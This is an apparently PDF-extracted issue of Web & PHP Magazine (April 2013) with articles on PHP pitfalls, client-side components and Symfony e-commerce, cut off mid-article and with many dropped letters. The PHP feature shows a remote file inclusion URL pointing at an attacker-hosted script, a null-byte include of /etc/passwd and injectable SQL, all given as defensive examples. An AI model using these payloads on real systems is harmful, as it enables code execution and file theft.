php web magazine- april 2013 issue
TRANSCRIPT
-
7/28/2019 PHP Web Magazine- April 2013 Issue
1/28
Dd y kw PHP s Ev?PHP is a wonderful little language in a lot of ways. Unfortunately,
it has had a reasonably troubled upbringing and much like a
insidious school bully, it has been quietly working against you.
Mder Ce-Sde Cmpe DevepmeA web component is much more than JavaScript.
Eabe e-cmmerce wh he Symfyeve dspacher cmpeHow we can use the Symfony2 Event Dispatcher component
to enable e-commerce in our existing application,
for a range of product types.
Published by S&S Media Group
www.webadphp.cm
AlSo in tHiS iSSuE
Apr 2013Issue 13
iStockphoto.com / avlntn
Creae yr w sef-rgazg eams
by Steffan Surdek
Daa Mdeg 101
by Cory Isaacson
Day day frad deec
by Arne Blankerts
D y wa be a PHP Evages?
by Daniel Ribeiro
PHPIS
EVIL
AnnouncingWeb&P
HP
Conference!
SanJose,CA
September1619
-
7/28/2019 PHP Web Magazine- April 2013 Issue
2/28
ContentLetter from the Editor
Welcome to Aprils issueo Web & PHP Magazine!Weve recently made somechanges to the websiteand well continue devel-oping as we go. Hopeullyit should be a lot easier touse but i you fnd a bug, letus know!
The other BIG newsis our very own conerence will take place later thisyear. Web & PHP Con will run or 4 days in San Jose,
CA, September 16 19. We promise to peek throughthe looking glass and immerse you in a world o con-tinuously changing and evolving technology. Web &PHP Con will bring together developers, managers andindustry experts, and in keeping with our ethos o de-livering valuable knowledge or ree, the conerencesessions, keynote presentations and expo will all beree to attend.
The call or papers has opened. I you have some-thing cool to share but need a pedestal, submit aproposal via the website. Well be announcing theprogram and opening registrations in May. Those oyou who know us well will also know that we are nonovices when it comes to running top grade developerconerences, so this is exciting stu and we hope tosee many o you there.
This month the ocus o the magazine is basedaround raud, security, architecture and PHPs darkerside. It can be easy to orget the shadier aspects othe industry, all that DDoSing, phishing and so on that
goes on behind closed doors. Symantec says thatcybercrime costs businesses and individuals $114 bil-lion dollars annually which makes it bigger even thanthe video game industry!
The frst thing to secure your website against? Ac-cording to Richard Johnson, its PHP itsel! Hes writ-ten an excellent eature, which you can fnd on the nextpage, titled Did you know PHP evil? based on his pop-ular talk PHP is evil and wants to eat your babies. Ocourse, this is all tongue and cheek, as we all know thatPHP is a wonderul language with a supportive commu-nity. This piece purely highlights some o the eatures
and unctions which havent been so kind to us.Aside rom that, Aprils issue has an eclectic band o
articles, ranging rom big data, agile, e-commerce tohow to become a PHP evangelist! Our regular column-ists are here as usual o course. Cory Isaacson gives usa crash-course guide to Data Modelling 101 on page 22and our security expert Arne Blankerts explains whycredit card processing is aulty on page 25.
Agile coach Stean Surdek writes on page 18 aboutthe importance o sel-organising teams, and how man-agers should let their developers have more respon-sibility or their own projects. Or i youre looking or
something a bit more technical, Wil Moores deep-diveinto client-side development on page 6 is a good read.
Hopeully there will be something o an interest toyou, but i theres a subject that youre yet to see inthe magazine, that you really want us to cover, get intouch! Happy reading.
Anna Kent, Editor
Content
PHP
Did you know PHP is Evil? 3Richard Johnson
Development
Modern Client-SideComponent Development 6Wil Moore III
Symfony
Enable e-commerce withthe Symfony event dispatchercomponent 13
Michael Peacock
Agile
Create your ownself-organizing teams 18Stean Surdek
Column
Data Modelling 101 22Cory Isaacson
Column
Day to Day Fraud Detection 25Arne Blankerts
Community
Do you want to be aPHP Evangelist? 27Daniel Ribeiro
Were going through changes
www.webandphp.com Web & PHP Magazine 4.13 | 2
-
7/28/2019 PHP Web Magazine- April 2013 Issue
3/28
PHPFunctionality
www.webandphp.com Web & PHP Magazine 4.13 | 3
by Richard Johnson
Unlike a lot o languages, PHP was never ormally de-
signed as such; instead it kind o grew and evolved
rom its rather humble initial goals into what it is now:
To make it easy to embed dynamic content into other-
wise static HTML pages. This has resulted in a num-
ber o questionable language decisions as well as
gotchas that you should be aware o, otherwise your
precious little web app might spring to lie and devoureverything you love and hold dear.
Dont believe me?
Open a PHP console and try a ew examples:
print (int)"0";// prints 0
print (int)"0asd";// still prints 0
print (int)"asd";// prints 0 (why not FALSE?)
print (int)array();// prints 0print (int)array(0);// prints 1. Yes, really. 1.
Things like this are important to note, as casting to an
int is oten used as a way to sanitize user input, this
behaviour is the same as the intval()unction.Thankully the growing number o solid PHP rame-
works goes a long way to plastering up and painting
over these issues, however they are still there and its
still quite important to be aware o what is happening
behind the scenes.
The rst time I realised PHP was evil ...One o the rst prime examples o nasty PHP eatures
that I came across as an early PHP developer was
this cool little eature called auto_register_globals.This has been deprecated since late 2000, so i you
ever see an app that requests it, hunt down the
programmer and punch them in the ace. For those
readers who dont know what this does, it magically
initialises local variables or every parameter that is
passed into the script. Im sure all o us at one time
or another has seen some PHP code that looks like
this:
unctions.php
------------
-
7/28/2019 PHP Web Magazine- April 2013 Issue
4/28
PHPFunctionality
www.webandphp.com Web & PHP Magazine 4.13 | 4
This was a technique that we old school PHP devs used
to protect against register_globals. Without the check
or IN_APP(which would be dened in the requestedle), and assuming register_globalswas enabled, usu-ally an attack would be as easy as the attacker going to
this URL: http://yourhost.com/unctions.php?include_
path=http://evilsite.com/evil_code.txt.PHP would automatically set the $include_path
variable to be the address o a le on the attackersserver, which would be downloaded and executed
magically.
Thankully this eature has been disabled by deault
or a long time and as o PHP 5.4, its (thankully) not
even available as a conguration option.
Can I quote you?
Another insidious yet will-intended eature that has
been removed as o PHP 5.4 is magic_quotes_gpc.
This eature ensured that all o the data that you sendinto your scripts rom the browser has slashes added
to it to escape characters such as quotes. This was
added in an attempt to make things dead easy or the
programmer when inserting things into a database,
that is, you dont need to worry about this little thing
called escaping. For example, this would be ne:
mysql_execute("INSERT INTO users VALUES ('" . $_POST["username"] . "', '
" . $_POST["rst_name"] . "')");
And thats all good, that is until you come across a sys-
tem that has this eature disabled (or example Ubun-
tu). At this point the SQL statement would become a
wonderul place or an attacker to inject some o their
own SQL and own your database.
So, surely rather than removing it, having it on all the
time would be the best thing to do eh? Then you dont
have to worry, right? Wrong. What i you start insert-ing data rom a data source other than a posted orm?
Anything you read rom a le, or indeed rom the data-
base itsel is not going to be escaped, at which point
you will need to re-escape, leading to that horrible dou-
ble (or over time, triple, quadrupedal, ) escaped data
such as : O\\\\\\'brien.So, the lesson here is to not escape everything until
right beore you use it. Escaping early is raught withdanger, by escaping at the last minute you can ensure
that the data is escaped completely (as its obvious to
see the escaping code) and correctly:
mysql_execute("INSERT INTO users VALUES ('" . mysql_real_escape_string($_
POST["username"]) . "', '" . mysql_real_escape_string($_POST["rst_name"]) . "')");
But lets not stop there. For a very long time, databaseshave supported a eature called prepared statements,
widely used in pretty much every other programming
language. This is a antastic eature that allows de-
velopers to separate the actual SQL command romthe data that you are working with, making it the ulti-
mate anti-SQL injection tool. Any ramework worth its
salt will have support or prepared statements, or at
least some mechanism or separating SQL rom data
when querying. I it doesnt, PDO does and its been
baked into PHP or a very long time. So use prepared
statements. Please. I at any point you nd that you
are concatenating strings together to create SQL, then
you are doing it wrong. It might seem obvious, but the
vast majority o hacks are rom SQL injections; so even
when working with old code, try and do it correctly.
Is PHP Cing everything in that string?
But enough about SQL, lets move on to some more
undamental parts o PHP. Lets get a bit lower level
and talk about strings and C.
Back in the olden days, strings were easy to deal
with. There were only 128 characters, all o which t
very nicely into an 8-bit byte. For convenience, we
could also end strings with a NULL character (0x00),
this way we wouldnt need to keep track o the string
length.
Thats all well and good, but by the time PHP had
come along, people realised that there are actually cas-
es in which you want to include the NULL character
in a string. So, PHP decided to allow NULL charactersin its strings, keeping track o the strings length be-
hind the scenes. This works great, and has the added
benet o protecting against buer overfow attacks
and the like. Unortunately however, a great amount o
the PHP code base still uses C unctions underneath,
and these C unctions expect their strings to be NULL
terminated.
Now, why is it a problem? Well, take this code or
example:
include($_GET["module"] . ".php");
This would work as expected or a request like: h t t p : / /
youhost.com/index. php?module=shop. However,
i someone were to add a NULL character to the
end o this string like so: h t t p : / / youhost.com/index.
php?module=/etc/passwd%00, all o a sudden, our in-
clude call looks like this:
include("/etc/passwd\0.php");
Unlike a lot of languages,PHP was never formally
designed as such; insteadit kind of grew and evolved
from its rather humble initialgoals into what it is now.
-
7/28/2019 PHP Web Magazine- April 2013 Issue
5/28
PHPFunctionality
www.webandphp.com
The C unction responsible or retrieving the contents o the le will only read up
until the NULL character, so it will see:
include("/etc/passwd");
Now Im sure many people have been going through their apache logs and have
come across a bunch o rubbish URLs that have something similar to the above.Essentially, thats a bunch o bots testing out your URLs in an attempt to nd one
o these inclusion injection attacks.
Importantly, this poison NULL byte attack will probably disappear, or at least
be reduced when PHP version 6 eventually gets released along with ull Unicodestrings. Many o these C unctions will be updated or replaced with Unicode
aware alternatives that dont rely on NULL terminators.
Desperately trying to keep E-Commerce a foat
A nal note Id like to throw in here is to do with calculations with money. Unlike
many other languages, PHP does not have a reliable Decimal type. This means
that all decimals are stored as foating point numbers which are essentially rac-
tions that approximate their actual value. Quoting an example rom the PHP docs:
print foor((0.1 + 0.7) * 10);
This code will oten print out 7, not 8! For this reason, be sure you are using
ints and working in the smallest non-divisible monetary value (cents or pence).
Alternatively make use o the BC or GMP maths unctions which can also be use-
ul i you need to do precise decimal operations.
So! I hope this has made you think a little more and to be aware o some o
PHPs quirks that are waiting there just below the surace, and the next time you
are slamming down the coee typing hacking uriously at your next project, re-
member to cast a critical eye over your code. Ask yoursel how your code might
be manipulated or misused by someone out there in the big bad internet.
Richard Johnson having spent a number o years working as Lead Developer or Brightlabs, a leadingdigital agency in Australia; Richard now fnds himsel in London working as a Team Lead at Skimlinks. Abit o an all-rounder, hes worked with everything rom PHP to Java, through .NET and most recently Go.Youll oten fnd him at the PHP London meetups or a random pub in Shoreditch.
-
7/28/2019 PHP Web Magazine- April 2013 Issue
6/28
DevelopmentWeb component
www.webandphp.com Web & PHP Magazine 4.13 | 6
by Wil Moore III
One o the hotter debates in web development as o
late revolves around the notion o packaging and shar-
ing reusable components. You may have noticed that
many segments o the web development community
have stepped up in order to attempt to solve this prob-
lem. Interestingly, i you hang around in multiple parts
o the community, youve probably noticed that there
are many solutions being proposed and developed.
Unortunately, these solutions have overlapping and
incompatible eature sets, leaving us with a manual
integration headache. Dont get me wrong, there aretalented developers working on this problem and I
commend their eorts; however, virtually all o themmiss a critical detail
A [web] component is much more than just JavaScript
Im sure there are lots o stories oating around as to
which JavaScript package management solution is the
best. Perhaps youve heard o and even use TwittersBower [1] or James Burkes Volo [2] or Caolan Mc-
Mahons Jam [6]. As with most o Twitters [7] open
source projects, Bower happens to be the most popu-
lar o the lot. This is no surprise given the impressive
list o people behind the project [8]. For example, @at
(Jacob Thornton) [11], @addyosmani (Addy Osmani)
[12], and @paulirish (Paul Irish) [13].
About two years ago, I started looking or the best
client-side script loader. I even entertained the
thought, perhaps Ill just write one mysel (amous
last words). About a year ago, I started digging urther
into Node.js that is when it all came together and I re-alized that I should be looking or a client-side moduleloader. You know, npm [14] or the browser. Little did
I know that there was already Ender [15] and Browser-
iy [16] in existence. Oh wait, what about that Asset
Pipeline [17] thing or Assetic [18]? Yes, I rantically tried
most o these solutions; and I even wrote about my
short list o contenders (http://git.io/_ZWVA) [9].
A web component is much more than JavaScript
Modern Client-Side
Component DevelopmentThere have been many attempts to come up with some sort of client-side packagemanager, and some of them do it very well, however I think they are missing thebig picture; a component is much more than just JavaScript. TJ Holowaychuk
iStockph
oto.co
m/M-
X-K
http://twitter.github.com/http://jamjs.org/http://twitter.github.com/bower/http://twitter.github.com/bower/http://jamjs.org/http://twitter.github.com/ -
7/28/2019 PHP Web Magazine- April 2013 Issue
7/28
DevelopmentWeb component
www.webandphp.com Web & PHP Magazine 4.13 | 7
To a large degree, I continued to miss the point.
Fortunately, a very talented [19] lad by the name o TJ
Holowaychuk (http://github.com/visionmedia ) [20] set
me straight [21]. He reminded me A [web] compo-
nent is much more than just JavaScript ... A com-ponent can be JavaScript, CSS, images, fonts, and
more. The Morale o the story is, Create compo-nents, not [only] JavaScript packages.
Write modular CommonJS components
I you are a PHP developer, youve probably heard o
and have likely used the esteemed Composer [22]
dependency management tool. The idea is that youdeclare your dependencies and it will handle sort-
ing out the gory details. This is very similar to nodes
npm [14] and rubys bundler [23]. I the concept behind
these tools gives your developer senses the warm and
uzzies, you may be able to appreciate the idea behind
CommonJS [24] and writing modular components thatdo one thing well [25].
This is precisely the philosophy o the new tool
aptly named component (http://component.io) [27].
Component is a client-side package manager [26]
and module loader [32]. It also ships with a builder tool
[28], which allows you to aggregate the components
used in your application into a single package or test-
ing and/or deployment. It can be used to generate new
components [29].
The included component-builder is written inJavaScript on top o Node.js; however, the philoso-
phy behind the project is that other communities maywant to write the builder portion in the language o
their choice [30] since not everyone uses node. The
deault component-builder is simply one implementa-
tion o the component specifcation [31].
While it is entirely possible to consume components
without completely buying into the package manager
or the builder, there is a lot o exibility and elegance
that youd be leaving on the table. One o the core te-
nets o the component specifcation is that you not
only consume 3rd party components, but also, build
your applications as a mash-up o domain-specifc
components. I youve ever tried to get started with a
heavy UI component/widget based JavaScript rame-
work but elt both overwhelmed and underwhelmed atthe same time (you know what I mean), then you really
should give component a try.
I thought AMD won the module loader race already?This sounds nothing like AMD what gives?
Hold on a second lets makes a ew things clear
beore we move on. First, we should establish that thecomponent loader is not an AMD module loader.
An AMD module loader (i.e. RequireJS, curl.js) loads
a module when it is used (sort o like PHPs Auto
Loader). AMD loaders load multiple modules at once
asynchronously. In theory, this is very convenient;however, the downsides quickly start to outweigh the
benefts once a project moves past trivial. Honestly,
i your application is indeed trivial, you are better o
punting on the loading debate entirely. At that point,
sprinkling script tags and jQuery snippets around your
pages is probably good enough. I personally dont
like to develop sotware this way, but hey, who am I
to judge you?
Component on the other hand, loads modules
via a blazingly ast local map. A component module is
loaded when the Node.js/CommonJS style require
unction is applied using a canonical string identifer oran alias (i.e. model, model-timestamps) as depicted in
Listing 1.
I you are building non-trivial client-side applications,
the ability to work in multiple domain-specifc fles
(modules) is well worth the investment o execut-
ing a build step (BTW, I would recommend using the
watch(1) [37] command to automate this). Declaring
the modules you are using at the top o your module
makes or incredibly transparent source code. This in-
creases readability, testability, and maintainability.
On AMD, compatibility and other module formats
There are many module ormats in play today (also
reerred to as a transport ormat); however, compo-nent uses the CommonJS (http://www.commonjs.
org) module ormat [24], which is not directly compat-
ible with the ollowing:
AMD [33] YUI [34]
Dojo legacy [35]
Dojo AMD [36]
That being said, the CommonJS module ormat is
well known to be an excellent source module ormat
rom which other module ormats can be generated[38]. In act, this translation is actually supported
by the included component-build tool. A compo-
nent is built as an AMD module so you do not have
to wrap your modules in a wrapper unction (which
you are orced into with the AMD and YUI ormats).
Listing 1
// Module dependencies.
var model = require('model'),
timestamps = require('model-timestamps');
// Item model.
module.exports = model('Item')
.attr('id')
.attr('title')
.attr('complete')
.use(timestamps)
http://component.io/http://component.io/ -
7/28/2019 PHP Web Magazine- April 2013 Issue
8/28
DevelopmentWeb component
www.webandphp.com Web & PHP Magazine 4.13 | 8
With component when you are ready to share your
module, you can optionally build a standalone ver-
sion that is compatible with AMD (and thus Dojo). For
legacys sake, a windowglobal is also exported. Thisstandalone component or application can be loaded
via YUIs module loader as well or used with manu-
ally placed tags (that sounds so barbaric atthis point). I you had previously assumed that AMD
won, please be aware that this is not necessarilythe case. It is documented that many very experi-
enced JavaScript developers do not see AMD as the
best solution and certainly not a panacea (http://tom-
dale.net/2012/01/amd-is-not-the-answer) [39].
Nevertheless, AMD is quite popular; however, that
is only because or a long time, there were no com-
pelling alternatives. This is no longer the case. I you
have ever developed a non-trivial application on top o
an AMD module loader, you may have noticed that it
quickly becomes edge-case city. The process is errorprone and is ultimately a bad idea given there is a good
alternative.
Small, ocused modules are better or building applica-tions than monolithic rameworksThe jQuery library takes a air amount o heat or being
monolithic and non-cohesive. You may be wondering
i jQuery deserves all o this negative attention. jQuery
was originally developed when client-side package/de-
pendency management wasnt a reality. At the time,
a multiple fle library just didnt make sense. jQuery
made it easy to drop the library on to an HTML page,select a DOM element, and attach an event handler
in an elegant way. jQuery has done well as a DOM
abstraction library with a cute API. It protects you rom
certain cross-browser edge cases and API crut. Onthe other hand, that cute DOM library actually sneaks
quite a list o extra concerns into our codebases, all at-
tached to the same global $object (you can optionally
give back the $and make jQuery non-global, but this isnot the deault).
The ollowing list o things jQuery does other thanDOM is quite alarming i you consider the The Single
Responsibility Principle [40] to be important:
DOM element selection, traversal, creation, andmutation (lets pretend this is just one thing)
Events
XMLHttpRequest (AJAX)
Browser Snifng
Array/Collection Utilities
Object manipulation and iteration (i.e. each, extend)
Object type inspection
JSON unctions
XML unctions
String unctions
Time unctions
I count at least 11 dierent concerns. This problem is
not isolated to jQuery alone. At the time o this writing,the Underscore.js, MooTools, and Prototype libraries
all have huge non-cohesive APIs (to be air, the new
MooTools is reported to be cleaning this up) [38]. Ill
say it again, this made sense at the time these libraries
were introduced; however, the batteries included ap-
proach to sotware development seems nice until you
start building non-trivial sotware.
You may be wondering at this point why this even
matters. Perhaps you only use the AJAX portion o
jQuery. The act that there are 100+ methods that youare not using isnt hurting you or is it? It is tempt-
ing to believe that there is no harm done; however,
consider the act that those unused unctions are com-
pletely unrelated to the task at hand. The only way or
a uture developer (in many cases this is yoursel) tounderstand why jQuery or underscore was included
is to read the source code all o it. With a module
system in place and small, ocused components, this
maintenance and complexity problem goes away.
Now, I am not going to get ahead o mysel and
assume that youve been completely persuaded;however, I will assume that youd at least entertainthe question How do I do X i I give up jQuery (or
any other monolithic ramework you are using)? In
other words, armed with only the component pack-
age manager, the CommonJS module ormat, and the
component.io registry, how might I build a date picker
component?
Figure 2: Building a date picker with component
Figure 1: jQuery is 32k minifed and Gzipped its an anchor
(https://twitter.com/davidwalshblog/status/300740127058165761)
-
7/28/2019 PHP Web Magazine- April 2013 Issue
9/28
DevelopmentWeb component
www.webandphp.com Web & PHP Magazine 4.13 | 9
With component(1) installed, creating a re-usable date
picker component boils down to the ollowing steps (as-
suming youve already installed component as outlined
@ https://github.com/component/component):
Bootstrapping a new datepicker component
% npm install g component
% component create datepicker
Adding dependencies
% cd datepicker
% component install component/calendar
Component Integration
We will create an example.htmlfle that will allow us tointegrate and interact with our date picker component.
We will also install a ew more gluecomponents:
% component install component/{popover,aurora,event}
Next, we will create an index.jsfle. This is the demosentry point.
Styling
We will create a datepicker.cssfle that will contain aew overrides so the popover border is not in the way.
Building our componentThe only thing let to do is build the component.
% component build
There are a ew more minor details that go into polish-
ing o your new component but the above steps willget you a working date picker. For the original Date Pick-
er tutorial check out this article by the component
author: http://tjholowaychuk.com/post/37832588021/
building-a-date-picker-component.
My precious plugins
The jQuery plugin ecosystem is arguably a major parto what makes jQuery so popular. There is a plugin or
pretty much anything you can think o. Unortunately,
Listing 3
install : component/calendar@master
dep : component/range@master
install : component/range@master
dep : component/jquery@master
install : component/jquery@masterdep : component/emitter@master
install : component/emitter@master
sep : component/in-groups-o@master
install : component/in-groups-o@master
etch : component/calendar:index.js
etch : component/calendar:lib/utils.js
etch : component/calendar:lib/template.js
etch : component/calendar:lib/calendar.js
etch : component/calendar:lib/days.js
etch : component/calendar:lib/calendar.css
etch : component/range:index.js
etch : component/jquery:index.jsetch : component/in-groups-o:index.js
etch : component/emitter:index.js
complete : component/range
complete : component/in-groups-o
complete : component/emitter
complete : component/jquery
complete : component/calendar
Listing 2
repo (username/project): component/datepicker
description: Datepicker ui component built on component/calendar
does this component have js? y
does this component have css? y
does this component have html?
create : datepickercreate : datepicker/index.js
create : datepicker/datepicker.css
create : datepicker/Makefle
create : datepicker/Readme.md
create : datepicker/History.md
create : datepicker/.gitignore
create : datepicker/component.json
Listing 4: example.html
Datepicker
var picker = require('datepicker');
var el = document.querySelector('[name=date]');
picker(el);
-
7/28/2019 PHP Web Magazine- April 2013 Issue
10/28
DevelopmentWeb component
www.webandphp.com Web & PHP Magazine 4.13 | 10
this is part o the ragmentation problem. jQuery isnt
the only library around. There is YUI, Dojo, ExtJS, and
many others. With a ew minor exceptions, none o
these projects plugins or modules are portable. For
example, one cant simply take a YUI module and plug
it into ExtJS. Defnitely applaud YUI and Dojo or hav-
ing real module systems and build tools; however,
everyone does it their own way.
With component hopeully we will get to a point
where we dont need to worry about compatibility.
With enough adoption, developers will be incentivized
to build components rom plan JavaScript, CSS, HTML,
and more. While still very new, the component eco-
system is coming along nicely. There are already close
to 700 components registered at the component.io
registry. For example, suppose you are building an
Evernote-like web application and you would like togive your users the ability to tag their notes. This is
generally reerred to as a tag-inputcomponent:
% component install component/pillbox
Suppose you miss those CSS selectors, which are ex-
tremely popular with the jQuery crowd in that case,you may like:
% component install component/zest
You may have gotten the impression that componentsneed to include JavaScript. That certainly is not the
message I want you to receive. For example, a compo-
nent could indeed be just CSS (i.e. Twitter Bootstrap).
That being said, there is nothing wrong with a com-
ponent that has no CSS but is a JavaScript-only utility
that works in NodeJS and the browser. There is even
a DOM manipulation and traversal component (http://
component.io/component/dom) [5] available that will
help you ease away rom jQuery.
Build awesome things
I hope that you are at least intrigued enough to wantto fnd out more. I so, youll defnitely want to start
by reading the original component announcement [41]
then watch the Web Component Introduction
(http://tjholowaychuk.com/post/27984551477/com-
ponents) screencast (https://vimeo.com/48054442)
[42] and then read the best practices wiki [43]. Getinspired to learn JavaScript more intimately by watch-
Listing 5: index.js
var Calendar = require('calendar')
, Popover = require('popover')
, event = require('event')
module.exports = Datepicker;
unction Datepicker(el) {
i (!(this instanceo Datepicker)) return new Datepicker(el);
this.el = el;
this.cal = new Calendar;
this.cal.el.addClass('datepicker-calendar');event.bind(el, 'click', this.onclick.bind(this));
}
Datepicker.prototype.onclick = unction(e){
this.cal.on('change', this.onchange.bind(this));
this.popover = new Popover(this.cal.el);
this.popover.classname = 'datepicker-popover popover';
this.popover.show(this.el);
};
Datepicker.prototype.onchange = unction(date){
el.value = date.getFullYear()+ '/'
+ date.getMonth()
+ '/'
+ date.getDate();
this.popover.hide();
};
Listing 6: datepicker.css
.datepicker-calendar {
ont: 10px "Helvetica Neue", Helvetica, Arial, sans-seri;
}
.datepicker-popover .tip-arrow {
top: auto;
}
.datepicker-popover .tip-inner {
border: none;
}
Figure 3: Completed component
http://component.io/http://component.io/ -
7/28/2019 PHP Web Magazine- April 2013 Issue
11/28
DevelopmentWeb component
www.webandphp.com Web & PHP Magazine 4.13 | 11
ing Rebecca Murpheys excellent JSCONF talk The
jQuery Divide (http://jscon.eu/2010/speaker/the_
jquery_divide_by_rebecca_m.html). Perhaps you are
on the ence, still sprinkling jQuery document.ready
Figure 4: Pillbox input component
Figure 5: Fast, lightweight, extensible css selector engine
Figure 6: Twitter bootstrap components
calls about your pages and using pseudo-namespaces
(http://blog.millermedeiros.com/namespaces-are-old-
school) [4] (i.e. deeply nested but still global objects)
or organization. I this is the case, you might want togive component a try. I you arent sure what to build,
there is a wealth o inspiration out there. For example,
people are building complex content editors, fle man-agement tools, mobile apps, music, games, and even
apps that run on your television. Enjoy building awe-some things with component.
[12] https://github.com/addyosmani
[13] https://github.com/paulirish
[14] https://npmjs.org/
[15] http://ender.jit.su/
[16] http://browseriy.org/
[17] http://guides.rubyonrails.org/asset_pipeline.html
[18] https://github.com/kriswallsmith/assetic
[19] https://npmjs.org/~tjholowaychuk
[20] https://github.com/visionmedia
[21] https://github.com/wilmoore/rontend-packagers/issues/1
[22] http://getcomposer.org
[23] http://gembundler.com
[24] http://www.commonjs.org
[25] http://www.aqs.org/docs/artu/ch01s06.html
[26] https://github.com/component/component
[27] http://component.io/
[28] https://github.com/component/builder.js[29] https://github.com/component/component/wiki/Components
[30] https://github.com/wilmoore/rontend-packagers/
issues/1#issuecomment-8362262
[31] https://github.com/component/component/wiki/Spec
[32] https://github.com/component/require
[33] https://github.com/amdjs/amdjs-api/wiki/AMD
[34] http://yuilibrary.com/yui/docs/yui/
[35] http://dojotoolkit.org/reerence-guide/1.8/loader/legacy.html
[36] http://dojotoolkit.org/reerence-guide/1.8/loader/
[37] https://github.com/visionmedia/watch
[38] http://javascriptjabber.com/049-jsj-mootools-with-valerio-proietti-and-arian-stolwijk
[39] http://tomdale.net/2012/01/amd-is-not-the-answer
[40] https://docs.google.com/open?id=0ByOwmqah_nuGNHEtcU5OekdDMkk
[41] http://tjholowaychuk.com/post/27984551477/components
[42] https://vimeo.com/48054442
[43] https://github.com/component/component/wiki/Building-better-
components
Wil Moore III ([email protected]) is a ull-stack sotwarecratsman with a passion or well-crated sotware with an aes-
thetic API. Wil is a Zend Certifed Engineer with PHP 5.3+ and iscompletely in awe of and contributes to many open-source projects.
He is not shy about advocating for a development culture of devops,multi-paradigm programming, test-driven development, peer review, and men-torship. Wil primarily develops sotware in JavaScript (Browser and Node.js),Ruby, and PHP. Follow Wil on GitHub or Twitter @wilmoore.
References
[1] http://twitter.github.com/bower/
[2] http://volojs.org/
[3] http://javascriptjabber.com/049-jsj-mootools-with-valerio-proietti-and-
arian-stolwijk
[4] http://blog.millermedeiros.com/namespaces-are-old-school
[5] http://component.io/component/dom
[6] http://jamjs.org
[7] http://twitter.github.com
[8] https://github.com/twitter/bower#authors
[9] http://git.io/_ZWVA
[10] http://git.io/_ZWVA#supported-javascript-module-ormats
[11] https://github.com/at
-
7/28/2019 PHP Web Magazine- April 2013 Issue
12/28
-
7/28/2019 PHP Web Magazine- April 2013 Issue
13/28
SymfonyE-commerce
www.webandphp.com Web & PHP Magazine 4.13 | 13
by Michael Peacock
There are many e-commerce solutions out there,
which can provide us with ully eatured online shops.
However, i you already have an existing website or
application, especially one that needs to deal with
more than typical e-commerce products, then someo these solutions can be more trouble than they are
worth.
Lets say we have an existing event booking web-
site; it has all the unctionality we need to create andpublicise events, and users can sign-up to events. The
only thing missing is that up until now it has only sup-
ported registering or events; there is no notion o pay-
E-commerce solutions, often more trouble than they are worth.
Enable e-commerce
with the Symfony eventdispatcher component
How we can use the Symfony2 Event Dispatcher component to enablee-commerce in our existing application, for a range of product types.
ing or an event. We dont want to have to rewrite our
booking engine to be based around the notion o prod-
ucts, and we also might want to support turning other
things into purchasable entities, perhaps charging or
users to create their own events.
The Observer pattern and how it can help usThe Observer design pattern allows an object to main-
tain a list o its dependant objects, and can automati-
cally notiy them o changes to the object, so that it
can take appropriate action.
The primary dierence between this approach and
the Symony Event Dispatcher component (http://symony.com/doc/2.0/components/event_dispatcher/I
magelicensedbyIngramI
mage
http://symfony.com/doc/2.0/components/event_dispatcher/introduction.htmlhttp://symfony.com/doc/2.0/components/event_dispatcher/introduction.htmlhttp://symfony.com/doc/2.0/components/event_dispatcher/introduction.htmlhttp://symfony.com/doc/2.0/components/event_dispatcher/introduction.html -
7/28/2019 PHP Web Magazine- April 2013 Issue
14/28
SymfonyE-commerce
www.webandphp.com Web & PHP Magazine 4.13 | 14
introduction.html) is that Observers are notied when
Events are raised through the dispatcher, and specic
methods are called within the Observer depending on
the nature o the event. We ace two challenges at-
tempting to introduce e-commerce into our legacy ap-
plication:
We want to maintain our existing, non e-com-
merce, business logic, data processing and applica-
tion fow. We want to support the introduction o e-com-
merce into multiple aspects o our application, in-
cluding event booking and event creation. We may
in the uture want to extend this to other things,
such as:
Online promotional campaigns or the events.
Physical products.
Or even an upgraded user account that lets us
create events without paying per-event.
So, how can the Observer pattern, and subsequent-
ly the Event dispatcher help us introduce this level
o fexible e-commerce unctionality into our appli-
cation? Once our existing business logic has been
executed, e.g. a booking has been created; we can
encapsulate the booking into an event, and dispatchit, the event in eect being the Subject. The event
dispatcher will then dispatch a notication o this
event, including the encapsulated object, to our
Event Listeners, in eect the Observers.
A fexible Purchasable Interace
These Observers are de-coupled rom our existing
application fow, and can introduce use-case specic
business logic, and potentially interruptthe fow o the application execution, or
example, redirecting the user to a shop-
ping basket. This allows us to maintain
our existing business logic. Becausethey are de-coupled in this way, and be-
cause we can raise dierent events or
dierent scenarios, we can deal with di-
erent use cases (event booking, event
purchase, member upgrade) dierently,
using dierent listeners i we wish.
The simplest approach or us in this
example will be or us to introducesome consistent e-commerce centric
attributes to our existing models, such
that it doesnt impact on the existing
logic, but allows us to consistently
communicate with these objects to
nd out inormation. This might include
cost, delivery cost, product descrip-tion (or our basket and invoices) and
what to do when the order has been
processed (i tickets are being e-mailed, we want to
trigger this email once payment has been made).
Implement Purchasable
The rst thing we need to do is to implement the Pur-
chasable Interace we discussed earlier (Listing 1).
Figure 2: Purchasable Interace
Listing 1
Namespace Demo\App\Events;
class EventBooking implements
\Demo\App\PurchasableInterface
{
// existing implementation omitted for brevity
public function getId()
{
return $this->id;
}
public function getCost()
{
$cost = 0;
foreach($this->attendees as
$attendee_in_booking) {
$cost += $attendee_in_booking->
getTicketPrice();
}
return number_format($cost, 2);
}
public function getDeliveryCost()
{
return 0;// event books are delivered
// electronically
}
public function paymentReceived()
{
$this->markAsPaid();
foreach($this->generateTickets() as $ticket) {
$ticket->activate();
$ticket->emailToAttendee();
}
}
public function paymentReturned()
{
$this->markAsReturned();
foreach($this->getTickets() as $ticket) {
$ticket->invalidate();
$ticket->
emailPaymentReturnedNoticeToAttendee();
}
public function getProductName()
{
return count($this->attendees) . ' tickets for ' .
$this->getName();
}
public function getQuantity()
{
return 1;// bundle products into one basket
// item for now
}
}
Figure 1: The Observer design pattern
http://symfony.com/doc/2.0/components/event_dispatcher/introduction.htmlhttp://symfony.com/doc/2.0/components/event_dispatcher/introduction.htmlhttp://symfony.com/doc/2.0/components/event_dispatcher/introduction.html -
7/28/2019 PHP Web Magazine- April 2013 Issue
15/28
SymfonyE-commerce
www.webandphp.com Web & PHP Magazine 4.13 | 15
Shopping basket
A shopping basket will be needed to store details o
products which a user intends to purchase, but has not
yet committed to converting them into an order, leav-
ing them in a holding state while they continue with
other purchases. Once the user is ready, they will con-
vert the contents o the basket into an order, giving it a
unique ID number which can be provided to a payment
provider so when payment comes through, we know
which order it relates to.
As our site is fexible in terms o the types o prod-ucts we might have, we need to think about the data-
